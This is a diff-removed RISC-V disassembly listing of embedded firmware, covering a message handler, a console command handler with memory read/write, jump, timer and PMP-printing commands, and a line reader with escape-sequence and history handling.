-20402162:	4a96                	lw	s5,68(sp)
-20402164:	4b06                	lw	s6,64(sp)
-20402166:	5bf2                	lw	s7,60(sp)
-20402168:	6125                	addi	sp,sp,96
-2040216a:	8082                	ret
-2040216c:	47c1                	li	a5,16
-2040216e:	00f51c63          	bne	a0,a5,20402186 <print_pmp+0x11a>
-20402172:	000ba403          	lw	s0,0(s7)
-20402176:	00003597          	auipc	a1,0x3
-2040217a:	63e58593          	addi	a1,a1,1598 # 204057b4 <_exit+0x59e>
-2040217e:	040a                	slli	s0,s0,0x2
-20402180:	00340b13          	addi	s6,s0,3 # 10040003 <__stack_size+0x1003f803>
-20402184:	b775                	j	20402130 <print_pmp+0xc4>
-20402186:	47e1                	li	a5,24
-20402188:	fcf517e3          	bne	a0,a5,20402156 <print_pmp+0xea>
-2040218c:	000ba783          	lw	a5,0(s7)
-20402190:	4b01                	li	s6,0
-20402192:	0167d433          	srl	s0,a5,s6
-20402196:	00147713          	andi	a4,s0,1
-2040219a:	e30d                	bnez	a4,204021bc <print_pmp+0x150>
-2040219c:	002b0793          	addi	a5,s6,2
-204021a0:	00f41433          	sll	s0,s0,a5
-204021a4:	0b0d                	addi	s6,s6,3
-204021a6:	4605                	li	a2,1
-204021a8:	01661633          	sll	a2,a2,s6
-204021ac:	fff40b13          	addi	s6,s0,-1
-204021b0:	9b32                	add	s6,s6,a2
-204021b2:	00003597          	auipc	a1,0x3
-204021b6:	60658593          	addi	a1,a1,1542 # 204057b8 <_exit+0x5a2>
-204021ba:	bf9d                	j	20402130 <print_pmp+0xc4>
-204021bc:	0b05                	addi	s6,s6,1
-204021be:	fd5b1ae3          	bne	s6,s5,20402192 <print_pmp+0x126>
-204021c2:	4b01                	li	s6,0
-204021c4:	4401                	li	s0,0
-204021c6:	bf85                	j	20402136 <print_pmp+0xca>
-
-204021c8 <msg_handler>:
-204021c8:	7139                	addi	sp,sp,-64
-204021ca:	dc22                	sw	s0,56(sp)
-204021cc:	da26                	sw	s1,52(sp)
-204021ce:	d84a                	sw	s2,48(sp)
-204021d0:	d452                	sw	s4,40(sp)
-204021d2:	d256                	sw	s5,36(sp)
-204021d4:	d05a                	sw	s6,32(sp)
-204021d6:	ce5e                	sw	s7,28(sp)
-204021d8:	cc62                	sw	s8,24(sp)
-204021da:	ca66                	sw	s9,20(sp)
-204021dc:	c86a                	sw	s10,16(sp)
-204021de:	de06                	sw	ra,60(sp)
-204021e0:	d64e                	sw	s3,44(sp)
-204021e2:	97c18913          	addi	s2,gp,-1668 # 8000d9ec <str.4>
-204021e6:	5fc0b497          	auipc	s1,0x5fc0b
-204021ea:	61a48493          	addi	s1,s1,1562 # 8000d800 <p.5>
-204021ee:	4405                	li	s0,1
-204021f0:	00003a17          	auipc	s4,0x3
-204021f4:	5e8a0a13          	addi	s4,s4,1512 # 204057d8 <_exit+0x5c2>
-204021f8:	4abd                	li	s5,15
-204021fa:	00003b17          	auipc	s6,0x3
-204021fe:	24eb0b13          	addi	s6,s6,590 # 20405448 <_exit+0x232>
-20402202:	00003b97          	auipc	s7,0x3
-20402206:	5e6b8b93          	addi	s7,s7,1510 # 204057e8 <_exit+0x5d2>
-2040220a:	95818c13          	addi	s8,gp,-1704 # 8000d9c8 <inputline>
-2040220e:	00003c97          	auipc	s9,0x3
-20402212:	5e6c8c93          	addi	s9,s9,1510 # 204057f4 <_exit+0x5de>
-20402216:	00003d17          	auipc	s10,0x3
-2040221a:	5cad0d13          	addi	s10,s10,1482 # 204057e0 <_exit+0x5ca>
-2040221e:	85a2                	mv	a1,s0
-20402220:	450d                	li	a0,3
-20402222:	00300073          	0x300073
-20402226:	c032                	sw	a2,0(sp)
-20402228:	c236                	sw	a3,4(sp)
-2040222a:	c43a                	sw	a4,8(sp)
-2040222c:	c63e                	sw	a5,12(sp)
-2040222e:	04090993          	addi	s3,s2,64 # 10040 <__stack_size+0xf840>
-20402232:	c115                	beqz	a0,20402256 <msg_handler+0x8e>
-20402234:	858a                	mv	a1,sp
-20402236:	8552                	mv	a0,s4
-20402238:	216010ef          	jal	ra,2040344e <strcmp>
-2040223c:	e129                	bnez	a0,2040227e <msg_handler+0xb6>
-2040223e:	85a2                	mv	a1,s0
-20402240:	000d2603          	lw	a2,0(s10)
-20402244:	004d2683          	lw	a3,4(s10)
-20402248:	008d2703          	lw	a4,8(s10)
-2040224c:	00cd2783          	lw	a5,12(s10)
-20402250:	4509                	li	a0,2
-20402252:	00300073          	0x300073
-20402256:	0405                	addi	s0,s0,1
-20402258:	4795                	li	a5,5
-2040225a:	894e                	mv	s2,s3
-2040225c:	0491                	addi	s1,s1,4
-2040225e:	fcf410e3          	bne	s0,a5,2040221e <msg_handler+0x56>
-20402262:	50f2                	lw	ra,60(sp)
-20402264:	5462                	lw	s0,56(sp)
-20402266:	54d2                	lw	s1,52(sp)
-20402268:	5942                	lw	s2,48(sp)
-2040226a:	59b2                	lw	s3,44(sp)
-2040226c:	5a22                	lw	s4,40(sp)
-2040226e:	5a92                	lw	s5,36(sp)
-20402270:	5b02                	lw	s6,32(sp)
-20402272:	4bf2                	lw	s7,28(sp)
-20402274:	4c62                	lw	s8,24(sp)
-20402276:	4cd2                	lw	s9,20(sp)
-20402278:	4d42                	lw	s10,16(sp)
-2040227a:	6121                	addi	sp,sp,64
-2040227c:	8082                	ret
-2040227e:	4088                	lw	a0,0(s1)
-20402280:	4641                	li	a2,16
-20402282:	858a                	mv	a1,sp
-20402284:	5c5000ef          	jal	ra,20403048 <memcpy>
-20402288:	409c                	lw	a5,0(s1)
-2040228a:	07c1                	addi	a5,a5,16
-2040228c:	04f9ed63          	bltu	s3,a5,204022e6 <msg_handler+0x11e>
-20402290:	c09c                	sw	a5,0(s1)
-20402292:	45c1                	li	a1,16
-20402294:	850a                	mv	a0,sp
-20402296:	218010ef          	jal	ra,204034ae <strnlen>
-2040229a:	faaaeee3          	bltu	s5,a0,20402256 <msg_handler+0x8e>
-2040229e:	4619                	li	a2,6
-204022a0:	85da                	mv	a1,s6
-204022a2:	4505                	li	a0,1
-204022a4:	62e010ef          	jal	ra,204038d2 <write>
-204022a8:	85a2                	mv	a1,s0
-204022aa:	864a                	mv	a2,s2
-204022ac:	855e                	mv	a0,s7
-204022ae:	5e7000ef          	jal	ra,20403094 <iprintf>
-204022b2:	45a9                	li	a1,10
-204022b4:	854a                	mv	a0,s2
-204022b6:	210010ef          	jal	ra,204034c6 <strrchr>
-204022ba:	e519                	bnez	a0,204022c8 <msg_handler+0x100>
-204022bc:	00003517          	auipc	a0,0x3
-204022c0:	58050513          	addi	a0,a0,1408 # 2040583c <_exit+0x626>
-204022c4:	5d1000ef          	jal	ra,20403094 <iprintf>
-204022c8:	85e2                	mv	a1,s8
-204022ca:	8566                	mv	a0,s9
-204022cc:	5c9000ef          	jal	ra,20403094 <iprintf>
-204022d0:	4619                	li	a2,6
-204022d2:	00003597          	auipc	a1,0x3
-204022d6:	21e58593          	addi	a1,a1,542 # 204054f0 <_exit+0x2da>
-204022da:	4505                	li	a0,1
-204022dc:	5f6010ef          	jal	ra,204038d2 <write>
-204022e0:	0124a023          	sw	s2,0(s1)
-204022e4:	bf8d                	j	20402256 <msg_handler+0x8e>
-204022e6:	0124a023          	sw	s2,0(s1)
-204022ea:	b765                	j	20402292 <msg_handler+0xca>
-
-204022ec <cmd_handler>:
-204022ec:	7179                	addi	sp,sp,-48
-204022ee:	00004597          	auipc	a1,0x4
-204022f2:	c6258593          	addi	a1,a1,-926 # 20405f50 <__sf_fake_stdout+0x24>
-204022f6:	95818513          	addi	a0,gp,-1704 # 8000d9c8 <inputline>
-204022fa:	d606                	sw	ra,44(sp)
-204022fc:	d422                	sw	s0,40(sp)
-204022fe:	d226                	sw	s1,36(sp)
-20402300:	d04a                	sw	s2,32(sp)
-20402302:	ce4e                	sw	s3,28(sp)
-20402304:	1f4010ef          	jal	ra,204034f8 <strtok>
-20402308:	00004597          	auipc	a1,0x4
-2040230c:	c4858593          	addi	a1,a1,-952 # 20405f50 <__sf_fake_stdout+0x24>
-20402310:	842a                	mv	s0,a0
-20402312:	4501                	li	a0,0
-20402314:	1e4010ef          	jal	ra,204034f8 <strtok>
-20402318:	00004597          	auipc	a1,0x4
-2040231c:	c3858593          	addi	a1,a1,-968 # 20405f50 <__sf_fake_stdout+0x24>
-20402320:	84aa                	mv	s1,a0
-20402322:	4501                	li	a0,0
-20402324:	1d4010ef          	jal	ra,204034f8 <strtok>
-20402328:	892a                	mv	s2,a0
-2040232a:	00004597          	auipc	a1,0x4
-2040232e:	c2658593          	addi	a1,a1,-986 # 20405f50 <__sf_fake_stdout+0x24>
-20402332:	4501                	li	a0,0
-20402334:	1c4010ef          	jal	ra,204034f8 <strtok>
-20402338:	89aa                	mv	s3,a0
-2040233a:	e409                	bnez	s0,20402344 <cmd_handler+0x58>
-2040233c:	00003417          	auipc	s0,0x3
-20402340:	4c440413          	addi	s0,s0,1220 # 20405800 <_exit+0x5ea>
-20402344:	00003597          	auipc	a1,0x3
-20402348:	4fc58593          	addi	a1,a1,1276 # 20405840 <_exit+0x62a>
-2040234c:	8522                	mv	a0,s0
-2040234e:	100010ef          	jal	ra,2040344e <strcmp>
-20402352:	e529                	bnez	a0,2040239c <cmd_handler+0xb0>
-20402354:	c885                	beqz	s1,20402384 <cmd_handler+0x98>
-20402356:	4641                	li	a2,16
-20402358:	4581                	li	a1,0
-2040235a:	8526                	mv	a0,s1
-2040235c:	530010ef          	jal	ra,2040388c <strtoul>
-20402360:	4601                	li	a2,0
-20402362:	85aa                	mv	a1,a0
-20402364:	00054603          	lbu	a2,0(a0)
-20402368:	0ff67613          	andi	a2,a2,255
-2040236c:	00003517          	auipc	a0,0x3
-20402370:	4dc50513          	addi	a0,a0,1244 # 20405848 <_exit+0x632>
-20402374:	5422                	lw	s0,40(sp)
-20402376:	50b2                	lw	ra,44(sp)
-20402378:	5492                	lw	s1,36(sp)
-2040237a:	5902                	lw	s2,32(sp)
-2040237c:	49f2                	lw	s3,28(sp)
-2040237e:	6145                	addi	sp,sp,48
-20402380:	5150006f          	j	20403094 <iprintf>
-20402384:	00003517          	auipc	a0,0x3
-20402388:	4d850513          	addi	a0,a0,1240 # 2040585c <_exit+0x646>
-2040238c:	5422                	lw	s0,40(sp)
-2040238e:	50b2                	lw	ra,44(sp)
-20402390:	5492                	lw	s1,36(sp)
-20402392:	5902                	lw	s2,32(sp)
-20402394:	49f2                	lw	s3,28(sp)
-20402396:	6145                	addi	sp,sp,48
-20402398:	4fd0006f          	j	20403094 <iprintf>
-2040239c:	00003597          	auipc	a1,0x3
-204023a0:	4d858593          	addi	a1,a1,1240 # 20405874 <_exit+0x65e>
-204023a4:	8522                	mv	a0,s0
-204023a6:	0a8010ef          	jal	ra,2040344e <strcmp>
-204023aa:	ed21                	bnez	a0,20402402 <cmd_handler+0x116>
-204023ac:	c4b1                	beqz	s1,204023f8 <cmd_handler+0x10c>
-204023ae:	04090563          	beqz	s2,204023f8 <cmd_handler+0x10c>
-204023b2:	4641                	li	a2,16
-204023b4:	4581                	li	a1,0
-204023b6:	854a                	mv	a0,s2
-204023b8:	4d4010ef          	jal	ra,2040388c <strtoul>
-204023bc:	4641                	li	a2,16
-204023be:	4581                	li	a1,0
-204023c0:	89aa                	mv	s3,a0
-204023c2:	8526                	mv	a0,s1
-204023c4:	4c8010ef          	jal	ra,2040388c <strtoul>
-204023c8:	842a                	mv	s0,a0
-204023ca:	854a                	mv	a0,s2
-204023cc:	0ac010ef          	jal	ra,20403478 <strlen>
-204023d0:	4789                	li	a5,2
-204023d2:	00a7e763          	bltu	a5,a0,204023e0 <cmd_handler+0xf4>
-204023d6:	01340023          	sb	s3,0(s0)
-204023da:	864e                	mv	a2,s3
-204023dc:	85a2                	mv	a1,s0
-204023de:	b779                	j	2040236c <cmd_handler+0x80>
-204023e0:	854a                	mv	a0,s2
-204023e2:	096010ef          	jal	ra,20403478 <strlen>
-204023e6:	4791                	li	a5,4
-204023e8:	00a7e563          	bltu	a5,a0,204023f2 <cmd_handler+0x106>
-204023ec:	01341023          	sh	s3,0(s0)
-204023f0:	b7ed                	j	204023da <cmd_handler+0xee>
-204023f2:	01342023          	sw	s3,0(s0)
-204023f6:	b7d5                	j	204023da <cmd_handler+0xee>
-204023f8:	00003517          	auipc	a0,0x3
-204023fc:	48450513          	addi	a0,a0,1156 # 2040587c <_exit+0x666>
-20402400:	b771                	j	2040238c <cmd_handler+0xa0>
-20402402:	00003597          	auipc	a1,0x3
-20402406:	49a58593          	addi	a1,a1,1178 # 2040589c <_exit+0x686>
-2040240a:	8522                	mv	a0,s0
-2040240c:	042010ef          	jal	ra,2040344e <strcmp>
-20402410:	e50d                	bnez	a0,2040243a <cmd_handler+0x14e>
-20402412:	cc99                	beqz	s1,20402430 <cmd_handler+0x144>
-20402414:	4641                	li	a2,16
-20402416:	4581                	li	a1,0
-20402418:	8526                	mv	a0,s1
-2040241a:	472010ef          	jal	ra,2040388c <strtoul>
-2040241e:	00050067          	jr	a0
-20402422:	50b2                	lw	ra,44(sp)
-20402424:	5422                	lw	s0,40(sp)
-20402426:	5492                	lw	s1,36(sp)
-20402428:	5902                	lw	s2,32(sp)
-2040242a:	49f2                	lw	s3,28(sp)
-2040242c:	6145                	addi	sp,sp,48
-2040242e:	8082                	ret
-20402430:	00003517          	auipc	a0,0x3
-20402434:	47450513          	addi	a0,a0,1140 # 204058a4 <_exit+0x68e>
-20402438:	bf91                	j	2040238c <cmd_handler+0xa0>
-2040243a:	00003597          	auipc	a1,0x3
-2040243e:	48258593          	addi	a1,a1,1154 # 204058bc <_exit+0x6a6>
-20402442:	8522                	mv	a0,s0
-20402444:	00a010ef          	jal	ra,2040344e <strcmp>
-20402448:	e131                	bnez	a0,2040248c <cmd_handler+0x1a0>
-2040244a:	cc85                	beqz	s1,20402482 <cmd_handler+0x196>
-2040244c:	02090b63          	beqz	s2,20402482 <cmd_handler+0x196>
-20402450:	02098963          	beqz	s3,20402482 <cmd_handler+0x196>
-20402454:	4641                	li	a2,16
-20402456:	4581                	li	a1,0
-20402458:	8526                	mv	a0,s1
-2040245a:	432010ef          	jal	ra,2040388c <strtoul>
-2040245e:	10040437          	lui	s0,0x10040
-20402462:	c428                	sw	a0,72(s0)
-20402464:	4641                	li	a2,16
-20402466:	4581                	li	a1,0
-20402468:	854a                	mv	a0,s2
-2040246a:	422010ef          	jal	ra,2040388c <strtoul>
-2040246e:	c468                	sw	a0,76(s0)
-20402470:	4641                	li	a2,16
-20402472:	4581                	li	a1,0
-20402474:	854e                	mv	a0,s3
-20402476:	416010ef          	jal	ra,2040388c <strtoul>
-2040247a:	c828                	sw	a0,80(s0)
-2040247c:	4785                	li	a5,1
-2040247e:	c07c                	sw	a5,68(s0)
-20402480:	b74d                	j	20402422 <cmd_handler+0x136>
-20402482:	00003517          	auipc	a0,0x3
-20402486:	43e50513          	addi	a0,a0,1086 # 204058c0 <_exit+0x6aa>
-2040248a:	b709                	j	2040238c <cmd_handler+0xa0>
-2040248c:	00003597          	auipc	a1,0x3
-20402490:	45458593          	addi	a1,a1,1108 # 204058e0 <_exit+0x6ca>
-20402494:	8522                	mv	a0,s0
-20402496:	7b9000ef          	jal	ra,2040344e <strcmp>
-2040249a:	e939                	bnez	a0,204024f0 <cmd_handler+0x204>
-2040249c:	c4a9                	beqz	s1,204024e6 <cmd_handler+0x1fa>
-2040249e:	0004c783          	lbu	a5,0(s1)
-204024a2:	470d                	li	a4,3
-204024a4:	fcf78793          	addi	a5,a5,-49
-204024a8:	0ff7f793          	andi	a5,a5,255
-204024ac:	02f76d63          	bltu	a4,a5,204024e6 <cmd_handler+0x1fa>
-204024b0:	02090b63          	beqz	s2,204024e6 <cmd_handler+0x1fa>
-204024b4:	4641                	li	a2,16
-204024b6:	85ca                	mv	a1,s2
-204024b8:	850a                	mv	a0,sp
-204024ba:	7d1000ef          	jal	ra,2040348a <strncpy>
-204024be:	0004c503          	lbu	a0,0(s1)
-204024c2:	fd050513          	addi	a0,a0,-48
-204024c6:	85aa                	mv	a1,a0
-204024c8:	4602                	lw	a2,0(sp)
-204024ca:	4692                	lw	a3,4(sp)
-204024cc:	4722                	lw	a4,8(sp)
-204024ce:	47b2                	lw	a5,12(sp)
-204024d0:	4509                	li	a0,2
-204024d2:	00300073          	0x300073
-204024d6:	f531                	bnez	a0,20402422 <cmd_handler+0x136>
-204024d8:	00003517          	auipc	a0,0x3
-204024dc:	41050513          	addi	a0,a0,1040 # 204058e8 <_exit+0x6d2>
-204024e0:	3b5000ef          	jal	ra,20403094 <iprintf>
-204024e4:	bf3d                	j	20402422 <cmd_handler+0x136>
-204024e6:	00003517          	auipc	a0,0x3
-204024ea:	41650513          	addi	a0,a0,1046 # 204058fc <_exit+0x6e6>
-204024ee:	bd79                	j	2040238c <cmd_handler+0xa0>
-204024f0:	00003597          	auipc	a1,0x3
-204024f4:	43058593          	addi	a1,a1,1072 # 20405920 <_exit+0x70a>
-204024f8:	8522                	mv	a0,s0
-204024fa:	755000ef          	jal	ra,2040344e <strcmp>
-204024fe:	e921                	bnez	a0,2040254e <cmd_handler+0x262>
-20402500:	c0b1                	beqz	s1,20402544 <cmd_handler+0x258>
-20402502:	0004c783          	lbu	a5,0(s1)
-20402506:	468d                	li	a3,3
-20402508:	fcf78713          	addi	a4,a5,-49
-2040250c:	0ff77713          	andi	a4,a4,255
-20402510:	02e6ea63          	bltu	a3,a4,20402544 <cmd_handler+0x258>
-20402514:	fd078793          	addi	a5,a5,-48
-20402518:	85be                	mv	a1,a5
-2040251a:	450d                	li	a0,3
-2040251c:	00300073          	0x300073
-20402520:	c032                	sw	a2,0(sp)
-20402522:	c236                	sw	a3,4(sp)
-20402524:	c43a                	sw	a4,8(sp)
-20402526:	c63e                	sw	a5,12(sp)
-20402528:	c909                	beqz	a0,2040253a <cmd_handler+0x24e>
-2040252a:	858a                	mv	a1,sp
-2040252c:	00003517          	auipc	a0,0x3
-20402530:	3fc50513          	addi	a0,a0,1020 # 20405928 <_exit+0x712>
-20402534:	361000ef          	jal	ra,20403094 <iprintf>
-20402538:	b5ed                	j	20402422 <cmd_handler+0x136>
-2040253a:	00003517          	auipc	a0,0x3
-2040253e:	3fe50513          	addi	a0,a0,1022 # 20405938 <_exit+0x722>
-20402542:	bf79                	j	204024e0 <cmd_handler+0x1f4>
-20402544:	00003517          	auipc	a0,0x3
-20402548:	40c50513          	addi	a0,a0,1036 # 20405950 <_exit+0x73a>
-2040254c:	b581                	j	2040238c <cmd_handler+0xa0>
-2040254e:	00003597          	auipc	a1,0x3
-20402552:	41e58593          	addi	a1,a1,1054 # 2040596c <_exit+0x756>
-20402556:	8522                	mv	a0,s0
-20402558:	6f7000ef          	jal	ra,2040344e <strcmp>
-2040255c:	ed0d                	bnez	a0,20402596 <cmd_handler+0x2aa>
-2040255e:	4735                	li	a4,13
-20402560:	85ba                	mv	a1,a4
-20402562:	4521                	li	a0,8
-20402564:	00300073          	0x300073
-20402568:	87aa                	mv	a5,a0
-2040256a:	4501                	li	a0,0
-2040256c:	00300073          	0x300073
-20402570:	85ba                	mv	a1,a4
-20402572:	4521                	li	a0,8
-20402574:	00300073          	0x300073
-20402578:	40f505b3          	sub	a1,a0,a5
-2040257c:	0065d613          	srli	a2,a1,0x6
-20402580:	00003517          	auipc	a0,0x3
-20402584:	28850513          	addi	a0,a0,648 # 20405808 <_exit+0x5f2>
-20402588:	de0596e3          	bnez	a1,20402374 <cmd_handler+0x88>
-2040258c:	00003517          	auipc	a0,0x3
-20402590:	2a450513          	addi	a0,a0,676 # 20405830 <_exit+0x61a>
-20402594:	b3c5                	j	20402374 <cmd_handler+0x88>
-20402596:	00003597          	auipc	a1,0x3
-2040259a:	3de58593          	addi	a1,a1,990 # 20405974 <_exit+0x75e>
-2040259e:	8522                	mv	a0,s0
-204025a0:	6af000ef          	jal	ra,2040344e <strcmp>
-204025a4:	e15d                	bnez	a0,2040264a <cmd_handler+0x35e>
-204025a6:	ccc9                	beqz	s1,20402640 <cmd_handler+0x354>
-204025a8:	4629                	li	a2,10
-204025aa:	8526                	mv	a0,s1
-204025ac:	4581                	li	a1,0
-204025ae:	1c2010ef          	jal	ra,20403770 <strtoull>
-204025b2:	1ed000ef          	jal	ra,20402f9e <abs>
-204025b6:	872a                	mv	a4,a0
-204025b8:	4511                	li	a0,4
-204025ba:	00300073          	0x300073
-204025be:	6791                	lui	a5,0x4
-204025c0:	02078793          	addi	a5,a5,32 # 4020 <__stack_size+0x3820>
-204025c4:	842e                	mv	s0,a1
-204025c6:	892a                	mv	s2,a0
-204025c8:	02f715b3          	mulh	a1,a4,a5
-204025cc:	3e800613          	li	a2,1000
-204025d0:	4681                	li	a3,0
-204025d2:	02f70533          	mul	a0,a4,a5
-204025d6:	668000ef          	jal	ra,20402c3e <__udivdi3>
-204025da:	01250733          	add	a4,a0,s2
-204025de:	00a737b3          	sltu	a5,a4,a0
-204025e2:	95a2                	add	a1,a1,s0
-204025e4:	97ae                	add	a5,a5,a1
-204025e6:	85ba                	mv	a1,a4
-204025e8:	863e                	mv	a2,a5
-204025ea:	4519                	li	a0,6
-204025ec:	00300073          	0x300073
-204025f0:	3e800493          	li	s1,1000
-204025f4:	02f487b3          	mul	a5,s1,a5
-204025f8:	6611                	lui	a2,0x4
-204025fa:	02060613          	addi	a2,a2,32 # 4020 <__stack_size+0x3820>
-204025fe:	4681                	li	a3,0
-20402600:	02e4b5b3          	mulhu	a1,s1,a4
-20402604:	02e48533          	mul	a0,s1,a4
-20402608:	95be                	add	a1,a1,a5
-2040260a:	2d15                	jal	20402c3e <__udivdi3>
-2040260c:	02848433          	mul	s0,s1,s0
-20402610:	89aa                	mv	s3,a0
-20402612:	6611                	lui	a2,0x4
-20402614:	4681                	li	a3,0
-20402616:	02060613          	addi	a2,a2,32 # 4020 <__stack_size+0x3820>
-2040261a:	0324b5b3          	mulhu	a1,s1,s2
-2040261e:	03248533          	mul	a0,s1,s2
-20402622:	95a2                	add	a1,a1,s0
-20402624:	2d29                	jal	20402c3e <__udivdi3>
-20402626:	85aa                	mv	a1,a0
-20402628:	864e                	mv	a2,s3
-2040262a:	00003517          	auipc	a0,0x3
-2040262e:	35250513          	addi	a0,a0,850 # 2040597c <_exit+0x766>
-20402632:	263000ef          	jal	ra,20403094 <iprintf>
-20402636:	08000793          	li	a5,128
-2040263a:	3047a7f3          	csrrs	a5,mie,a5
-2040263e:	b3d5                	j	20402422 <cmd_handler+0x136>
-20402640:	00003517          	auipc	a0,0x3
-20402644:	35850513          	addi	a0,a0,856 # 20405998 <_exit+0x782>
-20402648:	b391                	j	2040238c <cmd_handler+0xa0>
-2040264a:	00003597          	auipc	a1,0x3
-2040264e:	36258593          	addi	a1,a1,866 # 204059ac <_exit+0x796>
-20402652:	8522                	mv	a0,s0
-20402654:	5fb000ef          	jal	ra,2040344e <strcmp>
-20402658:	e909                	bnez	a0,2040266a <cmd_handler+0x37e>
-2040265a:	5422                	lw	s0,40(sp)
-2040265c:	50b2                	lw	ra,44(sp)
-2040265e:	5492                	lw	s1,36(sp)
-20402660:	5902                	lw	s2,32(sp)
-20402662:	49f2                	lw	s3,28(sp)
-20402664:	6145                	addi	sp,sp,48
-20402666:	f9eff06f          	j	20401e04 <print_stats>
-2040266a:	00003597          	auipc	a1,0x3
-2040266e:	34a58593          	addi	a1,a1,842 # 204059b4 <_exit+0x79e>
-20402672:	8522                	mv	a0,s0
-20402674:	5db000ef          	jal	ra,2040344e <strcmp>
-20402678:	e501                	bnez	a0,20402680 <cmd_handler+0x394>
-2040267a:	986ff06f          	j	20401800 <_start>
-2040267e:	b355                	j	20402422 <cmd_handler+0x136>
-20402680:	00003597          	auipc	a1,0x3
-20402684:	33c58593          	addi	a1,a1,828 # 204059bc <_exit+0x7a6>
-20402688:	8522                	mv	a0,s0
-2040268a:	5c5000ef          	jal	ra,2040344e <strcmp>
-2040268e:	e901                	bnez	a0,2040269e <cmd_handler+0x3b2>
-20402690:	5422                	lw	s0,40(sp)
-20402692:	50b2                	lw	ra,44(sp)
-20402694:	5492                	lw	s1,36(sp)
-20402696:	5902                	lw	s2,32(sp)
-20402698:	49f2                	lw	s3,28(sp)
-2040269a:	6145                	addi	sp,sp,48
-2040269c:	bac1                	j	2040206c <print_pmp>
-2040269e:	00003597          	auipc	a1,0x3
-204026a2:	32258593          	addi	a1,a1,802 # 204059c0 <_exit+0x7aa>
-204026a6:	8522                	mv	a0,s0
-204026a8:	5a7000ef          	jal	ra,2040344e <strcmp>
-204026ac:	e501                	bnez	a0,204026b4 <cmd_handler+0x3c8>
-204026ae:	00000073          	ecall
-204026b2:	bb85                	j	20402422 <cmd_handler+0x136>
-204026b4:	00003597          	auipc	a1,0x3
-204026b8:	31458593          	addi	a1,a1,788 # 204059c8 <_exit+0x7b2>
-204026bc:	8522                	mv	a0,s0
-204026be:	591000ef          	jal	ra,2040344e <strcmp>
-204026c2:	e515                	bnez	a0,204026ee <cmd_handler+0x402>
-204026c4:	47b5                	li	a5,13
-204026c6:	85be                	mv	a1,a5
-204026c8:	4521                	li	a0,8
-204026ca:	00300073          	0x300073
-204026ce:	862a                	mv	a2,a0
-204026d0:	34402773          	csrr	a4,mip
-204026d4:	c03a                	sw	a4,0(sp)
-204026d6:	85be                	mv	a1,a5
-204026d8:	4521                	li	a0,8
-204026da:	00300073          	0x300073
-204026de:	40c50633          	sub	a2,a0,a2
-204026e2:	4582                	lw	a1,0(sp)
-204026e4:	00003517          	auipc	a0,0x3
-204026e8:	2ec50513          	addi	a0,a0,748 # 204059d0 <_exit+0x7ba>
-204026ec:	b161                	j	20402374 <cmd_handler+0x88>
-204026ee:	00003517          	auipc	a0,0x3
-204026f2:	2fa50513          	addi	a0,a0,762 # 204059e8 <_exit+0x7d2>
-204026f6:	b959                	j	2040238c <cmd_handler+0xa0>
-
-204026f8 <readline>:
-204026f8:	7139                	addi	sp,sp,-64
-204026fa:	dc22                	sw	s0,56(sp)
-204026fc:	da26                	sw	s1,52(sp)
-204026fe:	d64e                	sw	s3,44(sp)
-20402700:	d452                	sw	s4,40(sp)
-20402702:	d256                	sw	s5,36(sp)
-20402704:	d05a                	sw	s6,32(sp)
-20402706:	de06                	sw	ra,60(sp)
-20402708:	d84a                	sw	s2,48(sp)
-2040270a:	ce5e                	sw	s7,28(sp)
-2040270c:	82818993          	addi	s3,gp,-2008 # 8000d898 <buffer>
-20402710:	81018a93          	addi	s5,gp,-2032 # 8000d880 <esc.3>
-20402714:	81418413          	addi	s0,gp,-2028 # 8000d884 <p.2>
-20402718:	95818493          	addi	s1,gp,-1704 # 8000d9c8 <inputline>
-2040271c:	5fc0ba17          	auipc	s4,0x5fc0b
-20402720:	158a0a13          	addi	s4,s4,344 # 8000d874 <h.1>
-20402724:	85018b13          	addi	s6,gp,-1968 # 8000d8c0 <history.0>
-20402728:	0249a703          	lw	a4,36(s3)
-2040272c:	0209a783          	lw	a5,32(s3)
-20402730:	00e7c463          	blt	a5,a4,20402738 <readline+0x40>
-20402734:	4501                	li	a0,0
-20402736:	a699                	j	20402a7c <readline+0x384>
-20402738:	0c002737          	lui	a4,0xc002
-2040273c:	431c                	lw	a5,0(a4)
-2040273e:	9bdd                	andi	a5,a5,-9
-20402740:	c31c                	sw	a5,0(a4)
-20402742:	0209a783          	lw	a5,32(s3)
-20402746:	00178713          	addi	a4,a5,1
-2040274a:	02e9a023          	sw	a4,32(s3)
-2040274e:	0209a683          	lw	a3,32(s3)
-20402752:	0249a703          	lw	a4,36(s3)
-20402756:	97ce                	add	a5,a5,s3
-20402758:	0007c783          	lbu	a5,0(a5)
-2040275c:	00e6c663          	blt	a3,a4,20402768 <readline+0x70>
-20402760:	8401a423          	sw	zero,-1976(gp) # 8000d8b8 <buffer+0x20>
-20402764:	8401a623          	sw	zero,-1972(gp) # 8000d8bc <buffer+0x24>
-20402768:	0c0026b7          	lui	a3,0xc002
-2040276c:	4298                	lw	a4,0(a3)
-2040276e:	00876713          	ori	a4,a4,8
-20402772:	c298                	sw	a4,0(a3)
-20402774:	476d                	li	a4,27
-20402776:	00e79663          	bne	a5,a4,20402782 <readline+0x8a>
-2040277a:	4785                	li	a5,1
-2040277c:	00faa023          	sw	a5,0(s5)
-20402780:	b765                	j	20402728 <readline+0x30>
-20402782:	000aa703          	lw	a4,0(s5)
-20402786:	4685                	li	a3,1
-20402788:	00d71863          	bne	a4,a3,20402798 <readline+0xa0>
-2040278c:	05b00693          	li	a3,91
-20402790:	30d79463          	bne	a5,a3,20402a98 <readline+0x3a0>
-20402794:	4789                	li	a5,2
-20402796:	b7dd                	j	2040277c <readline+0x84>
-20402798:	4689                	li	a3,2
-2040279a:	2ed71c63          	bne	a4,a3,20402a92 <readline+0x39a>
-2040279e:	03300693          	li	a3,51
-204027a2:	08d79063          	bne	a5,a3,20402822 <readline+0x12a>
-204027a6:	478d                	li	a5,3
-204027a8:	bfd1                	j	2040277c <readline+0x84>
-204027aa:	07e00693          	li	a3,126
-204027ae:	2ed79563          	bne	a5,a3,20402a98 <readline+0x3a0>
-204027b2:	00042903          	lw	s2,0(s0) # 10040000 <__stack_size+0x1003f800>
-204027b6:	01248bb3          	add	s7,s1,s2
-204027ba:	8526                	mv	a0,s1
-204027bc:	4bd000ef          	jal	ra,20403478 <strlen>
-204027c0:	0b85                	addi	s7,s7,1
-204027c2:	04a96a63          	bltu	s2,a0,20402816 <readline+0x11e>
-204027c6:	4609                	li	a2,2
-204027c8:	00003597          	auipc	a1,0x3
-204027cc:	26858593          	addi	a1,a1,616 # 20405a30 <_exit+0x81a>
-204027d0:	4505                	li	a0,1
-204027d2:	100010ef          	jal	ra,204038d2 <write>
